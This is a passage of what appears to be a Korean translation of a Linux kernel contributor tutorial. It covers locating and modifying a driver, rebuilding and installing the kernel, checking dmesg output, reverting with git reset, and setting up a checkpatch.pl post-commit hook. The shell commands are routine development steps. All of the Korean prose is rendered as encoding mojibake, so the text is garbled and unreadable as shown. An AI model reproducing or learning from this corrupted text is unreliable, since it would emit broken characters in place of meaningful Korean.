printkํ•จ์ˆ˜๋Š” ์ปค๋„ ๋กœ๊ทธ ๋ฒ„ํผ์— ์˜ํ•ด ์ž‘์„ฑ๋  ๋ฉ”์‹œ์ง€๋ฅผ ๋งŒ๋“œ๋Š”๋ฐ์š”. ์ด ๋ฒ„ํผ๋Š” dmesg ๋ช…๋ น์„ ์ด์šฉํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋„ค์ดํ‹ฐ๋ธŒ ๋ฆฌ๋ˆ…์Šค์—์„œ ๋“œ๋ผ์ด๋ฒ„ ์ˆ˜์ •ํ•˜๊ธฐ

๋„ค์ดํ‹ฐ๋ธŒ ๋ฆฌ๋ˆ…์Šค ์‹œ์Šคํ…œ์€ ๊ฐ€์ƒ๋จธ์‹ ์— ๋น„ํ•ด ์ •๋ง ๋‹ค์–‘ํ•˜๊ณ  ๋งŽ์€ ์ข…๋ฅ˜์˜ ๋“œ๋ผ์ด๋ฒ„๋“ค์ด ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ e1000 ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋Œ ์ˆ˜ ์žˆ๋Š” ํ•˜๋“œ์›จ์–ด๋ฅผ ๋‚ด๊ฐ€ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์„์ˆ˜๋„ ์žˆ๋‹ค๋Š”๊ฑฐ์ฃ . ๋Œ€์‹ , ์–ด๋–ค ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋‚ด ์‹œ์Šคํ…œ์— ๋กœ๋“œ๋˜์—ˆ๋Š”์ง€ ์ฐพ์•„๋‚ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ค‘ ํ•˜๋‚˜๋ฅผ ์ˆ˜์ •ํ•ด๋ด…์‹œ๋‹ค. ๋จผ์ € lsmod๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์–ด๋А ๋“œ๋ผ์ด๋ฒ„๋“ค์ด ๋กœ๋“œ๋˜์–ด์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ์ˆ˜์ •ํ•  ํ•˜๋‚˜๋ฅผ ๊ณจ๋ผ๋ด…์‹œ๋‹ค. e1000์™€ ๋น„์Šทํ•œ ์ข…๋ฅ˜์˜ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ์žˆ๋‹ค๋ฉด ๊ทธ๊ฑธ ๊ณ ๋ฅด์…”๋„ ๋˜๊ณ ์š”, ๊ทธ๋ ‡์ง€ ์•Š๋‹ค๋ฉด ์ˆ˜์ •ํ•  ๋‚˜๋งŒ์˜ ๋ฌด์„  ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฐพ์•„์„œ ๊ทธ๊ฑธ ์ˆ˜์ •ํ•˜์…”๋„ ๋ฉ๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„์˜ ์ด๋ฆ„์„ ์•Œ์•˜๋‹ค๋ฉด, ์ด์ œ ๊ทธ ๋“œ๋ผ์ด๋ฒ„ ํŒŒ์ผ์˜ .c์™€ .h ํŒŒ์ผ์ด ๋ฆฌ๋ˆ…์Šค์ปค๋„ ์ €์žฅ์†Œ ์–ด๋””์— ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ฐจ๋ก€์ž…๋‹ˆ๋‹ค. Makefiles๋ฅผ ํ†ตํ•ด ์–ด๋–ค C ํŒŒ์ผ์ด ๋“œ๋ผ์ด๋ฒ„ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ปดํŒŒ์ผ ๋˜์–ด์žˆ๋Š”์ง€๋ฅผ ์•Œ์•„๋‚ด์–ด ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ๊ฒ€์ƒ‰ํ•˜๊ธฐ ์œ„ํ•œ ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ git grep ์„ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ grep๊ณผ ๋‹ค๋ฅด๊ฒŒ git grep์€ ์ €์žฅ์†Œ์— check in ๋œ ํŒŒ์ผ๋“ค๋งŒ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ grep์€ ๋ฐ”์ด๋„ˆ๋ฆฌํŒŒ์ผ, ์‹ฌ์ง€์–ด๋Š” .git ๋””๋ ‰ํ† ๋ฆฌ๊นŒ์ง€ ๊ฒ€์‚ฌํ•˜๋‹ˆ, ์–ผ๋งˆ๋‚˜ ์‹œ๊ฐ„์ด ์•„๊น์Šต๋‹ˆ๊นŒ?

์˜ˆ๋ฅผ๋“ค์–ด์„œ, xhci-hcd ๋“œ๋ผ์ด๋ฒ„ ์•ˆ์— ์ปดํŒŒ์ผ๋œ ํŒŒ์ผ์„ ์ฐพ๋Š”๋‹ค๊ณ  ์น˜๋ฉด, ์ด๋Ÿฐ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

bash
git grep xhci-hcd -- '*Makefile'

ํ•œ๋ฒˆ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์œ„ํ•œ ํŒŒ์ผ๋“ค์„ ์•Œ์•„๋‚ด๊ณ  ๋‚˜๋ฉด, ์ „ ์„น์…˜์—์„œ ๋‹ค๋ฃจ์—ˆ๋˜๊ฒƒ์ฒ˜๋Ÿผ probe ํ•จ์ˆ˜๋ฅผ ์ˆ˜์ •ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ˆ˜์ •์‚ฌํ•ญ ์ปดํŒŒ์ผํ•˜๊ธฐ

make๋ฅผ ์‚ฌ์šฉํ•ด ์ปค๋„์„ ์žฌ ์ปดํŒŒ์ผํ•ฉ์‹œ๋‹ค.

bash
make -j2

๋ช‡๊ฐ€์ง€ ์ปดํŒŒ์ผ ์—๋Ÿฌ๋ฅผ ๊ณ ์ณ์•ผ ๋œ๋‹ค๊ณ  ๋œฐ๊ฑด๋ฐ์š”. ์ˆ˜์ •์œผ๋กœ ์ธํ•˜์—ฌ ์ƒ๊ธด ์ƒˆ๋กœ์šด ๊ฒฝ๊ณ ๋“ค๋„ ๊ฐ™์ด ๊ณ ์ณ์ฃผ๋„๋ก ํ•ฉ์‹œ๋‹ค. ๋ฆฌ๋ˆ…์Šค ์ปค๋„์—์„œ๋Š” ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋ˆ„๊ตฌ์˜ ์‹œ์Šคํ…œ์—์„œ๋„ ๊ฒฝ๊ณ ๋ฅผ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋„๋ก ํ•˜๊ธฐ์œ„ํ•ด ์—ด๋ ฌํžˆ ์‹ธ์šฐ๊ณ  ์žˆ๊ฑฐ๋“ ์š”.(์•„, ์—ฌ๊ธฐ์„œ ๋งํ•˜๋Š” ๋ˆ„๊ตฌ์˜ ์‹œ์Šคํ…œ์€ 32-bit์™€ 64-bit, ๋‹ค๋ฅธ ์•„ํ‚คํ…์ณ๋„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.) ์ถ”๊ฐ€์ ์ธ ๊ฒฝ๊ณ ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์ด๋‚˜ ๋ฒ„๊ทธ ํ”ฝ์Šค ํŒจ์น˜๋Š” merge๋˜์ง€ ์•Š์„๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋ณ€๊ฒฝ์‚ฌํ•ญ ์„ค์น˜ํ•˜๊ธฐ

๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ปดํŒŒ์ผ ํ•œ ๋’ค์—, ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์„ค์น˜ํ•ด๋ด…์‹œ๋‹ค.

bash
sudo make modules_install install

๋ณ€๊ฒฝ์‚ฌํ•ญ ํ…Œ์ŠคํŠธํ•˜๊ธฐ

์™„์ „ํžˆ ์ƒˆ๋กœ์šด ์ปค๋„์„ ์ปดํŒŒ์ผ ํ–ˆ๊ธฐ๋•Œ๋ฌธ์—, ๋ชจ๋“ˆ์˜ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ํ…Œ์ŠคํŠธ ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋“  ๊ทธ ์ปค๋„ ์•ˆ์œผ๋กœ ๋ถ€ํŒ…ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์ปดํ“จํ„ฐ๋ฅผ ์žฌ๋ถ€ํŒ… ์‹œํ‚ค๊ณ , ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”.

bash
dmesg | less

"/I can modify"๋ฅผ ์ณ์„œ ์šฐ๋ฆฌ๊ฐ€ ์•„๊นŒ ๋งŒ๋“ค์—ˆ๋˜ printk๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. ์•„๋งˆ ๋ถ€ํŒ… ๋„์ค‘์— ๋“œ๋ผ์ด๋ฒ„์˜ ๊ฒฐ๊ณผ๊ฐ’์œผ๋กœ ์ƒ๊ธด ์ด ๋ฉ”์‹œ์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์„๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ชป์ฐพ์œผ์…จ๋‹ค๊ตฌ์š”? irc.oftc.net ์—์„œ #kernel-outreachy ์˜ IRC ์ฑ„๋„, ํ˜น์€ outreachy-kernel mailing list ์—์„œ ๋„์›€์„ ์š”์ฒญํ•ด๋ณด์„ธ์š”.

๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ๋˜๋Œ๋ฆฌ๊ธฐ

๊ทธ๋ƒฅ ๊ฐ„๋‹จํžˆ ํ…Œ์ŠคํŠธ ํ–ˆ๋˜๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์—, ์ด ๋ณ€๊ฒฝ์‚ฌํ•ญ๋“ค์„ ์ปค๋ฐ‹ํ•˜๊ณ  ์‹ถ์ง€๋Š” ์•Š์„๊ฒ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ด ์ปค๋ฐ‹๋“ค์„ ๋˜๋Œ๋ฆด ์ˆ˜ ์žˆ์–ด์š”. :q<์—”ํ„ฐ>๋ฅผ ์ณ์„œ ์—๋””ํ„ฐ์—์„œ ๋น ์ ธ ๋‚˜์˜ค์‹  ๋’ค์—, ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด๋ด…์‹œ๋‹ค.

bash
git reset --hard HEAD

์ด ๋ช…๋ น์–ด๋Š” ํ˜„์žฌ ์ž‘์—…์ค‘์ธ ๋””๋ ‰ํ† ๋ฆฌ์˜ ๋ชจ๋“  ํŒŒ์ผ๋“ค์„ ๊ฐ€์žฅ ์ตœ๊ทผ์— ์•Œ๋ ค์ง„ ์ปค๋ฐ‹ (HEAD์ปค๋ฐ‹) ์œผ๋กœ ๋˜๋Œ๋ฆฝ๋‹ˆ๋‹ค. ํŠน์ •ํ•œ ํŒŒ์ผ๋“ค์˜ ์ƒํƒœ๋ฅผ ์ดˆ๊ธฐํ™” ํ•˜๊ณ ์‹ถ๋‹ค๋ฉด, git reset ์„ค๋ช…์„œ๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

์ฒซ ํŒจ์น˜ ๋งŒ๋“ค๊ธฐ

์ด์ œ, ์ปค๋„์— ๋ช‡๊ฐ€์ง€ ์œ ์šฉํ•œ ์ˆ˜์ •์‚ฌํ•ญ์„ ๋งŒ๋“ค๊ณ , ์ฒซ git ์ปค๋ฐ‹์„ ์ƒ์„ฑํ•˜๊ณ , ์ฒซ ํŒจ์น˜๋ฅผ ๋ณด๋‚ด๊ฒŒ ๋ ๊ฒƒ์ž…๋‹ˆ๋‹ค. git์—์„œ์˜ ์ฒซ๋ฒˆ์งธ ์ปค๋ฐ‹์„ ํ•˜๊ธฐ ์ „, ๋ช‡๊ฐ€์ง€ ์„ค์ •ํ• ๊ฒŒ ์žˆ์Šต๋‹ˆ๋‹ค.

git post-commit hooks

Git์€ ํŠน์ • git ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ „์ด๋‚˜ ๊ทธ ํ›„์— ์ž‘๋™ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋“ค์„ ์œ„ํ•œ ๋ช‡๊ฐ€์ง€์˜ "hook" ์ด ์žˆ๋Š”๋ฐ์š”. "post-commit" hook์€ git commit ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋‚œ ๋’ค์— ์‹คํ–‰๋˜๋Š” hook์ž…๋‹ˆ๋‹ค.

๋ฆฌ๋ˆ…์Šค ์ปค๋„ ๊ฐœ๋ฐœ์ž๋“ค์€ ์•„์ฃผ ์—„๊ฒฉํ•œ ์ฝ”๋”ฉ์Šคํƒ€์ผ ๊ฐ€์ด๋“œ๋ผ์ธ์„ ๊ฐ–๊ณ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ”๋”ฉ์Šคํƒ€์ผ์ด ์•„์ฃผ ๊นŒ๋‹ค๋กญ๊ธฐ๋•Œ๋ฌธ์—, ๋‚˜์˜ ํŒจ์น˜๊ฐ€ ์ปค๋„ ์ฝ”๋”ฉ์Šคํƒ€์ผ์„ ์ค€์ˆ˜ํ•˜์˜€๋Š”์ง€ ํ™•์ธํ•˜๋Š” checkpatch.pl ์ด๋ผ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

๋‚ด๊ฐ€ ์ฝ”๋”ฉ์Šคํƒ€์ผ์„ ์ค€์ˆ˜ํ•˜๋Š” ์ข‹์€ ์ปค๋ฐ‹์„ ๋งŒ๋“ค์—ˆ๋Š”์ง€์— ๋Œ€ํ•ด ํ™•์‹ ์„ ๊ฐ–๊ธฐ ์œ„ํ•ด์„œ, ๋‚ด ์ปค๋ฐ‹์— "post-commit" hook๊ณผ ํ•จ๊ป˜ checkpatch.pl์„ ์ž‘๋™์‹œ์ผœ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•Œ์•„๋‘์…”์•ผ ํ•  ์ ์€, ์ปค๋ฐ‹ ์ดํ›„์˜ checkpatch๋Š” ์ˆ˜์†Œ์ฝ”๋“œ์˜ ์ˆ˜์ •์‚ฌํ•ญ๋ฟ๋งŒ์ด ์•„๋‹ˆ๋ผ ๋‚ด๊ฐ€ ๋งŒ๋“  ํŒจ์น˜ ํŒŒ์ผ ์ž์ฒด๋ฅผ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ log ๋ฉ”์‹œ์ง€์˜ ์ฒ ์ž์˜ค๋ฅ˜๋ผ๋˜๊ฐ€, log๋ฉ”์‹œ์ง€์˜ spacing์ด๋ผ๋˜๊ฐ€, ํŒŒ์ผ์„ ์ œ๊ฑฐํ•˜๋Š”๋ฐ ๋œจ๋Š” ๊ฒฝ๊ณ ๋“ฑ์˜ ์ด์Šˆ๋“ค์„ ๋” ๋งŽ์ด ์žก์•„ ๋‚ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ด๋ฏธ .git/hooks/post-commit ํŒŒ์ผ์„ ๊ฐ–๊ณ ์žˆ๋‹ค๋ฉด git์ด ์ด๋ฅผ ์‹คํ–‰ํ•˜๋Š”๊ฒƒ์„ ๋ง‰๊ธฐ ์œ„ํ•ด .git/hooks/post-commit.sample๋กœ ์ด๋ฆ„์„ ๋ฐ”๊ฟ”์ฃผ์„ธ์š”. git์€ .sample ํ™•์žฅ์ž๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š” ํŒŒ์ผ๋“ค์€ ์‹คํ–‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๊ทธ ํ›„์—๋Š” .git/hooks/post-commit ํŒŒ์ผ์— ๋‹ค์Œ์˜ ๋‚ด์šฉ์„ ์ถ”๊ฐ€ํ•ด์ฃผ์„ธ์š”.

bash
#!/bin/sh
exec git show --format=email HEAD | ./scripts/checkpatch.pl --strict --codespell

์ด ํŒŒ์ผ์ด ์‹คํ–‰ ๋  ์ˆ˜ ์žˆ๋„๋ก ๊ถŒํ•œ์„ ๋ณ€๊ฒฝํ•˜๊ณ ,

bash
chmod a+x .git/hooks/post-commit

๋งŒ์•ฝ์— /usr/share/codespell/dictionary.txt๊ฐ€ ์—†์œผ์‹œ๋‹ค๋ฉด, ๋‹ค์šด๋กœ๋“œ ๋ฐ›์œผ์„ธ์š”.

bash
sudo apt install codespell

์ปค๋ฐ‹์„ ํ•œ ๋’ค์—, ์ด hook์€ ๋‚ด ํŒจ์น˜๊ฐ€ ๋งŒ๋“  checkpatch ์˜ค๋ฅ˜๋‚˜ ๊ฒฝ๊ณ ๋“œ๋ฅผ ๋„์šธ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‚˜๋กœ ์ธํ•˜์—ฌ ๋งŒ๋“ค์–ด์ง„ ์˜ค๋ฅ˜๋‚˜ ๊ฒฝ๊ณ ๋ฅผ ๋ณด๊ฒŒ ๋œ๋‹ค๋ฉด ํŒŒ์ผ์„ ๋ฐ”๊ฟ”์„œ ์ปค๋ฐ‹์„ ์ˆ˜์ • ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. git add๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์ถ”๊ฐ€ํ•˜๊ณ , git commit --amend๋ฅผ ์จ์„œ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์ปค๋ฐ‹ํ•˜์„ธ์š”.

post-commit hook ์ด ์ž‘๋™ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ

post-commit hook์€ checkpatch๋ฅผ ์ž‘๋™์‹œํ‚ฌ ์‹ ์ค‘ํ•œ ์ˆ˜์ •์‚ฌํ•ญ๋“ค์„ ์ถ”๊ฐ€ํ•˜๊ณ  git commit์„ ์ž‘๋™์‹œํ‚ค๋Š” ๊ณผ์ •์œผ๋กœ ์ž‘๋™๋œ๋‹ค๋Š”๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์ฃ ? ์ปค๋ฐ‹์„ ํ•œ ๋’ค์—๋Š” ์ถ”๊ฐ€์ ์œผ๋กœ checlpatch.pl ๊ฒฝ๊ณ ๋‚˜ ์˜ค๋ฅ˜๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์•Œ์•„๋‘์„ธ์š”. ์ด hook์€ ์–ด๋–ค ํŠธ๋ฆฌ์—์„œ๋“  ํŒจ์น˜๋ฅผ ๋นŒ๋“œ ํ• ๋•Œ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๋งŒ์•ฝ์— post-commit hook์ด ์ž‘๋™๋˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, IRC์— ๋„์›€์„ ์š”์ฒญํ•˜์„ธ์š”.

์ž˜๋œ ํŒจ์น˜ ์‚ฌ๋ก€๋“ค์„ ์ดํ•ดํ•˜๊ธฐ

๋‚˜๋งŒ์˜ ํŒจ์น˜๋ฅผ ๋งŒ๋“ค๊ธฐ ์ „, ์–ด๋–ป๊ฒŒ ์ข‹์€ ํŒจ์น˜๋“ค์„ ๋งŒ๋“œ๋Š”์ง€ ์•Œ์•„์•ผ๊ฒ ์ฃ ? ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ํ”„๋กœ์ ํŠธ ์œ ์ง€๋ณด์ˆ˜์ž๋“ค์ด ๋‚˜์˜ ํŒจ์น˜๋ฅผ ๋ฐ›์•„์ฃผ์ง€ ์•Š์„๊ฒƒ์ด๊ณ , ์“ธ๋ฐ์—†๋Š” ์ˆ˜์ •์‚ฌํ•ญ์„ ๋งŒ๋“ค์–ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์œผ๋‹ˆ๊นŒ์š”.

๋จผ์ €, PatchPhilosophy๋ฅผ ์ฝ๋„๋ก ํ•ฉ์‹œ๋‹ค. ์ด ๋ฌธ์„œ๋Š” ์ฝ๊ธฐ ์‰ฝ๊ณ  ๋” ๋†’์€ ํ™•๋ฅ ๋กœ ๋ฐ›์•„ ์งˆ ์ˆ˜ ์žˆ๋Š” ํŒจ์น˜๋“ค์„ ๋งŒ๋“œ๋Š”๋ฐ ๋„์›€์„ ์ค„๊ฑฐ์—์š”. ๋˜ CodingStyle(์ปค๋„ ์ฝ”๋“œ ์ €์žฅ์†Œ์˜ ๋ฌธ์„œ ๋ชฉ๋ก์—๋„ ์žˆ์Šต๋‹ˆ๋‹ค)๋„ ์ฝ์–ด์ฃผ์„ธ์š”. ์ด ๋ฌธ์„œ๋Š” ์–ด๋–ป๊ฒŒ ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ์ˆ˜์šฉ ํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋ฒ•๊ณผ checkpatch.pl ์Šคํฌ๋ฆฝํŠธ์˜ ๊ธฐ๋ณธ์ ์ธ ๊ทœ์น™๋“ค์ด ํฌํ•จ๋˜์–ด์žˆ์–ด์š”.

Checkpatch.pl์ด ๋Š˜ ์™„๋ฒฝํ•œ๊ฒƒ์€ ์•„๋‹ˆ๋ผ๋Š”์ ์„ ์•Œ์•„๋‘์„ธ์š”! ๋‚ด ์ˆ˜์ •์‚ฌํ•ญ์ด checkpatch.pl์ด ์ œ์•ˆํ•˜๋Š” ๋ฐฉ์‹์˜ ์ˆ˜์ •์ธ์ง€ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด ์ตœ์„ ์˜ ํŒ๋‹จ์„ ํ•˜์‹œ๊ณ ์š”. ์ฝ”๋“œ์—๊ฒŒ ์žˆ์–ด ์ตœ์ข…์ ์ธ ๋ชฉํ‘œ๋Š” ๋” ์ฝ๊ธฐ ํŽธํ•˜๊ฒŒ ํ•˜๋Š”๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ checkpatch.pl์ด ์ œ์•ˆํ•œ ์ฝ”๋“œ๊ฐ€ ๊ธฐ์กด๋ณด๋‹ค ๋” ๋‚˜์•„์ง„๊ฒƒ๊ฐ™์ง€ ์•Š๋‹ค๋ฉด, checkpatch.pl์˜ ๋ง์„ ๋“ฃ์ง€ ๋งˆ์„ธ์š”. ์˜ˆ๋ฅผ๋“ค์–ด ํ•œ ์ค„์— 81๊ธ€์ž๊ฐ€ ์žˆ์ง€๋งŒ ๊ทธ ์ค„์„ ๋ฐ‘์œผ๋กœ ๋‚ด๋ฆฌ๋Š”๊ฒƒ์ด ์˜คํžˆ๋ ค ๋ชป์ƒ๊ฒจ๋ณด์ธ๋‹ค๋ฉด, ๊ตณ์ด ๊ทธ ์ค„์„ ๋‚ด๋ฆฌ์ง€ ๋งˆ์„ธ์š”. ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์—†์•จ๋•Œ ์–ด๋–ป๊ฒŒ ์ผ๋ฐ˜์ ์ธ ์‹ค์ˆ˜๋ฅผ ํ”ผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ CheckpatchTip ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด ํ™•์ธํ•ด๋ณด์„ธ์š”.

์—†์•จ ๋“œ๋ผ์ด๋ฒ„ ์ฐพ๊ธฐ

drivers/staging/์— ์žˆ๋Š” staging ํŠธ๋ฆฌ์—๋Š” ์ฝ”๋”ฉ์Šคํƒ€์ผ์„ ๋ณ„๋กœ ์ค€์ˆ˜ํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ์ด๋ฏธ ์‚ฌ์šฉ์ด ์ค‘๋‹จ๋œ(deprecated) API ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋“œ๋ผ์ด๋ฒ„๋“ค๋„ ์ž”๋œฉ ๊ฝ‰์ฐจ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋“œ๋ผ์ด๋ฒ„๋“ค์€ ๊นจ๋—์ด ์ œ๊ฑฐํ•ด์•ผ๊ฒ ์ฃ . ๋ช‡๋ช‡ ๋“œ๋ผ์ด๋ฒ„๋“ค์€ ๊ฐ๊ฐ์˜ ์ตœ์ƒ์œ„ ๋””๋ ‰ํ† ๋ฆฌ์— ๊นจ๋—์ด ํ•˜๋Š” ์ž‘์—…์„ ์œ„ํ•ด ํ•ด์•ผ ํ•  TODO๋ผ๋Š” ํŒŒ์ผ์ด ์žˆ์–ด์š”.

bash
find drivers/staging -name TODO

TODO ์•„์ดํ…œ์ค‘ ํ•˜๋‚˜๋ฅผ ๋‹ค๋ฃจ๊ฑฐ๋‚˜, ๊ฐ„๋‹จํ•œ ์ฝ”๋”ฉ ์Šคํƒ€์ผ ์ •๋ฆฌ๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

drivers/staging์€ ์ปค๋„ ์•ˆ์— ์žˆ๋Š” ๋“œ๋ผ์ด๋ฒ„๋“ค๊ณผ ์ปค๋„ ๋ฐ–์— ์žˆ๋Š” ๋“œ๋ผ์ด๋ฒ„ ๋‘๊ฐ€์ง€๋ฅผ ๋ชจ๋‘ ๊ฐ–๊ณ  ์žˆ์–ด์š”. ์ปค๋„ ๋ฐ–์— ์žˆ๋Š” ๋“œ๋ผ์ด๋ฒ„ ์œ„์—์„œ ์ž‘์—…ํ•˜๋Š”๊ฒƒ์€ ํ”ผํ•˜๋Š”ํŽธ์ด ๋‚ซ์Šต๋‹ˆ๋‹ค. 2015๋…„ 2์›”๋‹ฌ์— ์ž‘์„ฑ๋œ ๋ช‡๋ช‡ ์ปค๋„ ๋ฐ– ๋“œ๋ผ์ด๋ฒ„๋“ค(๋ชจ๋“ˆ๋กœ ์ปดํŒŒ์ผ๋œ ๋“œ๋ผ์ด๋ฒ„)์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€๊ฒƒ๋“ค์ด ์žˆ์–ด์š”.

text
i20
line6
media/parport
media/tlg2300
media/vino

checkpatch.pl ์‹คํ–‰ํ•˜๊ธฐ

๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋กœ, staging์•ˆ์˜ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ•˜๋‚˜ ๊ณจ๋ผ์„œ, ๊ทธ ํŒŒ์ผ์ด ์ปค๋„ ์ฝ”๋”ฉ์Šคํƒ€์ผ์„ ์ค€์ˆ˜ํ•˜๋Š”์ง€ ์•„๋‹Œ์ง€ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
perl scripts/checkpatch.pl -f drivers/staging/android/* | less

๊ฒฝ๊ณ ๋ฅผ ์ฐพ๊ณ , ๊ณ ์น˜๋ ค๊ณ  ํ•ด๋ณด์„ธ์š”. ๋‚˜์˜ ์ฒซ ํŒจ์น˜๋กœ ํ•˜๋‚˜์˜ ๊ฒฝ๊ณ ๋ฅผ ๊ณจ๋ผ๋ณด๋Š”๊ฒ๋‹ˆ๋‹ค. ํ›—๋‚  ์—ฌ๋Ÿฌ๊ฐœ์˜ ์ˆ˜์ •์‚ฌํ•ญ๋“ค์„ ํ•˜๋‚˜์˜ ํŒจ์น˜๋กœ ๊ทธ๋ฃนํ™” ํ•  ์ˆ˜ ์žˆ๊ฒ ์ฃ ? ๋‹ค๋งŒ ๊ทธ๋Ÿด ๊ฒฝ์šฐ์—๋Š” ๊ฐ๊ฐ์˜ ํŒจ์น˜๊ฐ€ ๋…ผ๋ฆฌ์ ์ธ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ๋ถ€์ˆ˜์ง€ ์•Š๋Š” PatchPhilosophy๋ฅผ ๋”ฐ๋ผ์•ผ๋งŒ ํ•ฉ๋‹ˆ๋‹ค.

์•Œ์•„๋‘์…”์•ผ ํ• ์ ์€, checkpatch๋Š” ์•„์ฃผ ๋‹ค์–‘ํ•œ ๊ฒฝ๊ณ ๋ฅผ ๋งŒ๋“ ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. ๊ฐ€๋” ์ฝ”๋“œ๊ฐ€ ์ด์ƒ์ ์ด์ง€ ์•Š๊ฑฐ๋‚˜ checkpatch์˜ ๊ณ ์นœ ์‚ฌํ•ญ์ด ๋ช…๋ฐฑํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์–ด์š”. ๊ฐœ์ธ์ ์ธ ์„ ํ˜ธ๋„์˜ ๋ฌธ์ œ์ด๊ฑฐ๋‚˜ ์ •ํ™•ํ•œ ๋ณ€ํ™”์‚ฌํ•ญ์„ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด์„œ๋Š” ํŠน๋ณ„ํ•œ ์ง€์‹์„ ์š”๊ตฌํ•œ๋‹ค๋˜๊ฐ€ ํ•˜๋Š” ๊ฒฝ์šฐ๋“ค์—์„œ์š”. ๋น„์Šทํ•œ ๋ณ€๊ฒฝ์‚ฌํ•ญ์ด ๊ฑฐ๋ถ€๋˜์—ˆ๋Š”์ง€, 